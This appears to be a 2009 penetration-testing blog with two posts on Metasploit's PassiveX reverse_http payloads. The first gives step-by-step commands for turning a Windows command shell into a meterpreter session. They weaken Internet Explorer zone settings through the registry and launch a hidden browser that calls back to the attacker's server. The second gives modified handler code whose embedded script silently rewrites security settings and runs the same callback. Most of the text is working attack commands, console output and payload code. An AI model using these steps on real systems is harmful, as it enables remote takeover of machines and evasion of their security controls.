Tuesday, February 17, 2009

How to get meterpreter from shell in Windows

(Update: just realized my formatting's off a tad and chopping off the end of some of those commands. If you copy/paste you'll be able to see the very end of the cmd.)

Inspired by darkoperator's How to get Terminal from Shell in Windows post, here's a quick howto on a way to go from cmd shell to meterpreter shell (or any other msf payload).

I've run into situations on pentests where I can run individual commands on a machine but want to elevate to a full, interactive shell with all the bells and whistles a meterpreter shell gives you. Scenarios where I've used similar techniques:
  • SQL injection in an application allows you to run commands (Oracle, MS SQL Server)
  • Obtained (cracked, sniffed, whatever) a dba/sa level account in Oracle/MS SQL Server
  • Registry access only (e.g. this Veritas Backup vuln from 2005)
  • Some sort of PHP vuln on a WAMP server that grants you a piped command shell only
There are two main ways to load additional code onto the machine: modify IE permissions and use a passivex payload or download a file from the internet and execute it. For this round, I'll just show how to use a passivex payload, but if you want to download a file you can either use ftp commands or xmlhttp inside vbscript. (Google will have many results on these; maybe I'll write up a howto later.)

To start, we'll need an msf handler running somewhere accessible from the client to accept our connection request once the payload has been executed:

root@bt:/pentest/exploits/framework3# ./msfconsole

888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888


=[ msf v3.3-dev
+ -- --=[ 345 exploits - 223 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 123 aux

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > ifconfig
[*] exec: ifconfig

eth1 Link encap:Ethernet HWaddr 00:0c:29:b0:10:8e
inet addr:192.168.206.129 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feb0:108e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1218 errors:0 dropped:0 overruns:0 frame:0
TX packets:1023 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:389976 (389.9 KB) TX bytes:121421 (121.4 KB)
Interrupt:18 Base address:0x2080

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

msf exploit(handler) > set PXHOST 192.168.206.129
PXHOST => 192.168.206.129
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_http):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
PXAXCLSID B3AC7307-FEAE-4e43-B2D6-161E68ABA838 yes ActiveX CLSID
PXAXDLL /pentest/exploits/framework3/data/passivex/passivex.dll yes ActiveX DLL to inject
PXAXVER -1,-1,-1,-1 yes ActiveX DLL Version
PXHOST 192.168.206.129 yes The local HTTP listener hostname
PXPORT 8080 yes The local HTTP listener port
PXURI /RFT74xFlyWB2IYexlRLSq9txAgowPyi4 no The URI root for requests


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > exploit

[*] PassiveX listener started.
[*] Starting the payload handler...

Next, the commands to kick through to your command shell. First we'll be modifying the registry to add a new IP address into the Intranet zone:

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v ":Range" /d "192.168.206.129"

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v "*" /t REG_DWORD /d 1

The operation completed successfully

C:\>

Next we'll be adding the necessary permissions to the Intranet zone. (For a discussion on what settings are needed, refer to this post.)
C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1001" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1004" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1200" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1201" /t REG_DWORD /d 0

The operation completed successfully

C:\>reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1208" /t REG_DWORD /d 0

The operation completed successfully

C:\>

From here, I usually write a vbscript to disk that will launch an invisible instance of Internet Explorer pointed to your msf server. If for some reason you didn't care about IE being visible, you could always just execute it directly from your command shell, but assuming you don't want a big IE windy to pop up on the server, here's what you run:

C:\>echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://192.168.206.129:8080/RFT74xFlyWB2IYexlRLSq9txAgowPyi4", 0, False > temp.vbs

C:\>wscript temp.vbs

C:\>del temp.vbs

C:\>

At this point, an invisible instance of IE is running and just loaded code from your msf server. Because you modified the registry settings to allow passivex to load, you now have a meterpreter shell running in your msf console:

[*] Sending PassiveX main page to client
[*] Sleeping before handling stage...
[*] Sending stage to sid 1 (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (Local Pipe -> Remote Pipe)

meterpreter > getpid
Current pid: 3048
meterpreter >

To recap, here are all of the windows commands used in this post:

Mapping an IP address to Internet Explorer's Intranet security zone:
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v ":Range" /d "192.168.206.129"
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname" /v "*" /t REG_DWORD /d 1

Configuring the Intranet zone to autoload passivex:
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1001" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1004" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1200" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1201" /t REG_DWORD /d 0
reg ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "1208" /t REG_DWORD /d 0

Creating vbscript to invisibly launch internet explorer pointed to our msf server:
echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://192.168.206.129:8080/RFT74xFlyWB2IYexlRLSq9txAgowPyi4", 0, False > temp.vbs

Running our vbscript and deleting temp.vbs:
wscript temp.vbs
del temp.vbs

Tuesday, February 3, 2009

Updating the passivex handler to work with IE7

If you've ever played with metasploit before, you may have wondered what all of the windows/*/reverse_http payloads were:

msf exploit(handler) > search reverse_http
[*] Searching loaded modules for pattern 'reverse_http'...

Compatible payloads
===================

Name Description
---- -----------
generic/debug_trap/reverse_http Generic x86 Debug Trap, PassiveX Reverse HTTP Tunneling Stager
windows/dllinject/reverse_http Windows Inject DLL, PassiveX Reverse HTTP Tunneling Stager
windows/download_exec/reverse_http Windows Executable Download and Execute, PassiveX Reverse HTTP Tunneling Stager
windows/exec/reverse_http Windows Execute Command, PassiveX Reverse HTTP Tunneling Stager
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivedllinject/reverse_http Reflective Dll Injection, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivemeterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivevncinject/reverse_http Reflective VNC Dll Injection, PassiveX Reverse HTTP Tunneling Stager
windows/shell/reverse_http Windows Command Shell, PassiveX Reverse HTTP Tunneling Stager
windows/upexec/reverse_http Windows Upload/Execute, PassiveX Reverse HTTP Tunneling Stager
windows/vncinject/reverse_http Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager

Background detail on how this stager works is available in skape's excellent uninformed journal article.

A quick overview:

Passivex is an ActiveX control that implements a tunnel running inside IE for your msf payloads. As such, it gets things like network proxy configuration for free! Imagine an environment that blocked all outgoing ports -- but allowed users to browse the internet as long as they used the company's HTTP proxy. In these scenarios, a normal reverse_tcp payload will not work, because it will be blocked by the company's firewall. If you use a reverse_http payload, however, it'll float right through the HTTP proxy and connect back to your msf server! Assuming the user is already authenticated to the firewall/proxy, IE will helpfully log them in for you, too.

Unfortunately, there are a few restrictions with the current passivex stager:
  • It only works with IE6 due to a new IE7 security setting
  • It permanently neuters the security settings for your IE's Internet zone, giving every website IE6 users visit the option of running commands on the vulnerable machine
  • In IE7, not only does it not function, but the first website they visit after you've attempted a passivex payload is greeted with this huge, nasty warning:


When you use one of these payloads, it:
  1. Modifies registry entries located at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ that correspond to the "Download signed ActiveX controls", "Download unsigned ActiveX controls", "Run ActiveX controls and plug-ins", and "Initialize and script ActiveX controls not marked as safe for scripting" security settings.
  2. Launches an iexplore.exe marked to be invisible (you see a new process in task manager, only -- no window) pointed towards your msf server
  3. Msf responds with some HTTP that instantiates the passivex ActiveX control
  4. The passivex control begins communication, pulling down whatever payload you selected and piping it's output/input back to the msf server
An ideal version of passivex would work in both IE6 and IE7, would limit it's impact on the compromised system, would clean up after itself whenever it's done, and would not increase the size of the initial stager.

To keep the initial size small and because it was easiest, I implemented all of this in the javascript of the 3rd item, above. This is possible because the "Initialize and script ActiveX controls not marked as safe for scripting" setting grants access to modify the registry (assuming the user has rights) and run commands. The javascript
  • Drops your IP address into the Intranet security zone
  • Modifies the 4 settings above, plus the new setting "Allow previously unused ActiveX controls to run without prompt", for the Intranet zone
  • Launches a second copy of IE that will run under the new permissions
  • Restores the Internet security zone to it's default settings
  • Waits 60 seconds and then restores the Intranet security settings to the default
Below is the beta code that does just that. Replace ~line 317 lib/msf/core/handler/passivex.rb where it sets the resp.body variable with the below, restart metasploit, and you should be good to go.

Still to do:
  • Randomize variables, remove white space inside needed variables, then randomize whitespace
  • Implement HTTPS for encryption (this shouldn't be hard; ruby/msf already support it)
  • Modify the ASM block in the initial stager to not modify all the extra security settings; it now only needs to modify 1201, "Initialize and script ActiveX controls not marked as safe for scripting"
                # fixed to work with IE7
resp.body = %Q^<html>
<object classid="CLSID:#{datastore['PXAXCLSID']}" codebase="#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}">
<param name="HttpHost" value="#{datastore['PXHOST']}">
<param name="HttpPort" value="#{datastore['PXPORT']}">
<param name="HttpUriBase" value="#{datastore['PXURI']}">
<param name="HttpSid" value="#{nsid}">^ + ((stage_payload) ? %Q^
<param name="DownloadSecondStage" value="1">^ : "") + %Q^
</object>
<script>
var WshShell = new ActiveXObject("Wscript.Shell");
var marker = true;
var regCheck;
var regRange = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Ranges\\\\random\\\\" //Can be any value
var regIntranet = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\1\\\\";

//Check if we've run this before.
try { regCheck = WshShell.RegRead(regRange + "marker"); } catch (e) { marker = false; }

if (marker == false) {
//Modify perms for the Intranet zone.
WshShell.RegWrite(regIntranet + "1001",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1004",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1200",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1201",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1208",0,"REG_DWORD");

//Map IP to the newly modified zone.
WshShell.RegWrite(regRange,1,"REG_SZ");
WshShell.RegWrite(regRange + ":Range","#{datastore['PXHOST']}","REG_SZ");
WshShell.RegWrite(regRange + "*",1,"REG_DWORD");
WshShell.RegWrite(regRange + "marker",1,"REG_DWORD"); //Just a marker

//Clean up after the original passivex stage1 loader; reset to default IE7 install
var regDefault = "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\3\\\\";
WshShell.RegWrite(regDefault + "1001",1,"REG_DWORD");
WshShell.RegWrite(regDefault + "1004",3,"REG_DWORD");
WshShell.RegWrite(regDefault + "1200",0,"REG_DWORD");
WshShell.RegWrite(regDefault + "1201",3,"REG_DWORD");

//Clean up and delete the created entries
setTimeout('WshShell.RegDelete(regIntranet + "1001")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1004")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1200")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1201")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1208")', 60000);
setTimeout('WshShell.RegDelete(regRange)', 60000);

WshShell.Run("iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}",0,false);
}
</script>
</html>^